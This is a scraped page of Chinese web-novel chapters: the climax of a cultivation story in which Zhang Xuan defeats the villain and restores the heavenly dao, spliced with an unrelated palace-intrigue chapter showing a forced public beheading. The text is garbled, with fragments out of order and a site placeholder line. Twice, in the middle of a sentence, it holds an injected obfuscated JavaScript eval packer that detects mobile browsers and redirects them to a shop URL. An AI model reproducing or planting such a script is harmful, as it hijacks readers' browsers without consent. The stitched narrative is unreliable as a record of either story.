“是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546018|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第46章不……放开朕… 谢凤卿依旧是一身玄衣,未披斗篷,身姿挺拔如雪中青松,傲然独立于这片压抑天地之间。衣袂之上,似乎还残留着昨日厮杀未曾洗净的暗红血点,非但不显污秽,反添几分慑人的煞气与凛然不可侵犯的威仪。她手中并未持那柄名动天下、令人闻风丧胆的桃花剑,只是随意地负手而立,目光平静地扫过下方黑压压噤若寒蝉的百官,扫过面无人色、魂不守舍的皇帝,最后落在那空置的龙椅之上,眼神幽深如古井寒潭,不起半分波澜,却让人望之生畏。 萧御立于她身侧稍后,一身摄政王礼服,玄衣金纹蟠螭,衬得他身姿愈发伟岸。面容冷峻如冰雕,线条分明,目光锐利如鹰隼,缓缓扫视全场,每一个细微的动静、每一次恐惧的喘息,都逃不过他那敏锐的感知。他的存在,本身就是一种无声而强大的威慑,如同磐石,**着所有可能的不安与骚动。 “带人犯!” 一名礼部官员用变了调、嘶哑尖锐、仿佛被掐住脖子的嗓音,颤抖着高喊道,终于打破了这令人窒息已久的死寂。 紧接着,沉重的铁链拖沓声、镣铐碰撞声由远及近,如同从地狱最深处传来的丧音,一声声,清晰地敲击在每个人的心上,震得人神魂欲裂。 只见一队神情冷硬、身着制式玄甲、浑身散发着铁血气息的风雪十八骑兵士,押解着数十名男女老幼,从广场尽头缓缓走来。这些人皆穿着料子华贵、此刻却破烂污秽、沾满尘泥与暗褐血渍的锦衣,个个面如死灰,眼神空洞麻木,如同被抽走了灵魂的提线木偶,只剩下行尸走肉般的躯壳。他们便是那份由无数鲜血与背叛写就的“血盟名单”上罗列的、参与昨夜叛乱的三十八家宗室核心成员。沉重的镣铐锁住了他们的手腕脚踝,每艰难地挪动一步,都发出刺耳的金属摩擦声,在空旷寂寥的广场上回荡,折磨着所有人的耳膜。 队伍的最前方,是两人抬着的一副简易担架。上面躺着如同破布娃娃般的萧子玄。他断臂处的伤口已被草草包扎,但污血依旧不断渗出,染透了粗糙的布料,呈现出一种不祥的深褐色。他脸色灰败如土,双眼空洞无神地望着阴沉压抑、仿佛即将塌下来的天空,嘴唇无声地翕动着,发出谁也听不见的破碎呓语,仿佛早已魂魄离体,只余一具苟延残喘的皮囊。 这支弥漫着浓重绝望与死亡气息的队伍,被押解到殿前广场中央,面对着那洞开的、如同巨兽之口般深邃幽暗的宗庙正殿,被身后的兵士强行按着,齐刷刷地跪倒在地。黑压压的一片人影,在惨白广场的映衬下,格外的刺目,如同雪地上泼洒开的大片污墨。 皇帝萧睿的身体剧烈地颤抖了一下,胃里一阵翻江倒海,强烈的恶心感直冲喉头,几乎要当场失态呕吐。他看着那些平日里或对他谄媚讨好、或对他倚老卖老不断施压的宗亲皇族,如今竟落得如此猪狗不如、任人宰割的下场,一种巨大的、冰冷的恐惧如同毒蛇般骤然缠紧了他的心脏,越收越紧,几乎要将他勒窒息,血液都冻得凝固。 礼官开始用带着明显哭腔、颤抖得不成调的声音,宣读冗长而晦涩、充满陈词滥调的祭文,无非是告慰先祖之灵,陈述逆党滔天罪状,祈求祖宗宽恕赦免云云。那虚弱苍白的声音在空旷寒冷的广场上飘荡,被风吹得支离破碎,显得异常无力、虚伪而可笑,没有人在意那毫无意义的辞藻。 所有的目光,都或明目张胆或偷偷窥探地,聚焦在御阶中段那道玄色身影之上,等待着那最终、且无可抗拒的审判降临。 冗长而折磨人的祭文终于念完了。 按礼制,该皇帝上前敬香了。 萧睿颤抖得如同秋风中最脆弱的一片落叶,在两名内侍几乎全身搀扶下,才勉强从侍从手中接过三炷粗大的、冒着袅袅青烟的线香。他一步步挪向殿前那尊巨大的、古朴沉重的青铜鼎炉,脚步虚浮踉跄,仿佛踩在烧红的炭火之上,每一步都承受着巨大的痛苦与煎熬。 就在他颤抖着手,即将把香插入积满香灰的炉中之时—— “陛下。” 一个清冷平静、却如同冰锥骤然刺破凝滞空气的声音响起,不高,却清晰地传入在场每一个人的耳中,让萧睿的动作猛地僵在半空,整个人如遭雷击,血液瞬间冰凉。 谢凤卿不知何时已缓步走下御阶,如同鬼魅般无声无息地来到他的身侧。她手中,托着那卷仿佛重逾千斤、浸透了鲜血、阴谋与无数冤魂的“血盟名单”。 “逆首在此,罪证确凿。”她的声音没有一丝一毫的起伏,却带着一种足以冻结灵魂骨髓的冰冷与不容置疑的权威,“告慰先祖,岂能无‘祭品’?请陛下,亲执刀斧,以此逆酋萧子玄之血,祭奠宗庙,清洗门户,以安先灵!” “轰——!” 这话如同九天惊雷,带着毁灭性的力量,在所有百官宗亲耳边疯狂炸响!整个广场陷入一种极致的死寂,仿佛时间都停滞了一瞬,随即被无数倒抽冷气、难以置信的惊呼声填满! 皇帝亲自动手,斩杀宗室首领,还是辈分极高、曾权倾朝野的皇叔?!这……这简直是亘古未闻之骇人听闻之事!这是要彻底碾碎皇权在世人心中最后的尊严与神圣性,要将皇帝最后一块遮羞布也无情撕扯下来,踩入万劫不复的泥泞!是要让皇帝用自己的手,亲自为整个宗室的命运、也为他自己的皇权,敲响最终的、无可挽回的送葬钟声! 萧睿猛地转过头,难以置信地看向近在咫尺的谢凤卿,眼中充满了极致的惊恐、哀恸、卑微的乞求,甚至闪过一丝崩溃边缘的疯狂抗拒。 “朕……朕……”他嘴唇剧烈哆嗦着,喉咙里发出咯咯的怪响,仿佛被无形的手扼住,却一个字也说不出来,只有冰冷绝望的泪水不受控制地滚落,划过苍白的面颊。 两名风雪骑兵已然应声上前,动作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546019|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 粗暴毫不留情地将担架上奄奄一息的萧子玄拖拽起来,强迫他以一种**的跪姿,固定在鼎炉之前那冰冷的地面上。一名身材魁梧、面容如同石雕般毫无表情的刽子手,捧着一柄装饰华丽、沉重无比、象征着皇家刑罚权威的金环鬼头刀,单膝跪地,高举过顶,呈到皇帝面前。 宽厚的刀身,冰冷的刃口闪烁着凛冽的寒光,光滑的刀面清晰地映出萧睿那张惨无人色、写满恐惧的脸。 萧睿看着那柄本该象征他生杀予夺大权、此刻却显得无比狰狞可怖的刀,又看着跪在地上、形容枯槁却依旧用最后残存力气投来怨毒嘲讽目光的萧子玄,他的手抖得根本无法握住那沉重的刀柄,整个人筛糠般向后退缩,试图逃离这可怕的命运。 “陛下,”谢凤卿的声音再次响起,比这数九寒天的朔风更加刺骨锥心,甚至带着一丝毫不掩饰的冰冷嘲讽,“莫非……龙体欠安,连祖宗家法,都无力执掌了?” 她的话语轻柔,却字字如刀,狠狠剜在萧睿的心上:“莫非……还要臣妇,助陛下一臂之力?” 话音未落,她竟真的上前一步,冰冷如玉、毫无温度的手,精准而有力地覆盖在了萧睿那只剧烈颤抖、死命抗拒的手背之上! 她的手看似纤细,却蕴含着钢铁般的力量和冻彻骨髓的寒意!萧睿只觉得一股无法抗拒、冰冷彻骨的巨力传来,自己的手指被强行掰开,然后被死死地、不容挣脱地按在那冰冷沉重、象征着杀戮与耻辱的刀柄之上!整个人如同一个完全失去控制的提线木偶,被谢凤卿半牵引半强迫地、踉跄着拖拽到了疯狂冷笑的萧子玄面前! “不……放开朕……祖宗……不可……不能啊……”萧睿绝望地发出呜咽般的嘶吼,试图挣扎,却发现自己在那股绝对的力量面前,渺小得如同蝼蚁,一切反抗都是徒劳。 萧子玄艰难地抬起头,看着被强行操控、狼狈不堪、尽失帝王威仪的皇帝,眼中爆发出极致的嘲讽和一种近乎解脱般的疯狂,他猛地啐出一口带着黑血的浓痰,嘶声狂笑,声音破碎却异常清晰,如同诅咒:“哈哈哈……萧睿!废物!孬种!萧家的列祖列宗……都在天上看着你呢!萧家的江山……亡于你手!亡于……” 他的话未能说完。 谢凤卿眼神骤然一厉,寒光乍现,握着皇帝手腕的手,裹挟着那无法抗拒、摧枯拉朽的力量,猛地向下一挥! “噗嗤——!” 沉重的鬼头刀并非吹毛断发的绝世利刃,但在那巨大的、精准的力量作用下,依旧狠狠地、摧枯拉朽般地砍入了萧子玄的脖颈!骨骼碎裂的闷响令人牙酸,头皮发麻!滚烫的鲜血如同压抑已久的喷泉,骤然狂涌而出,劈头盖脸地、猛烈地溅了皇帝萧睿满头满脸!温热的、粘稠的、带着令人作呕的浓烈腥气的血液糊住了他的眼睛,堵塞了他的口鼻,那强烈的触感与气味几乎让他瞬间晕厥! 第47章给萧家……留最后一点体面吧 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 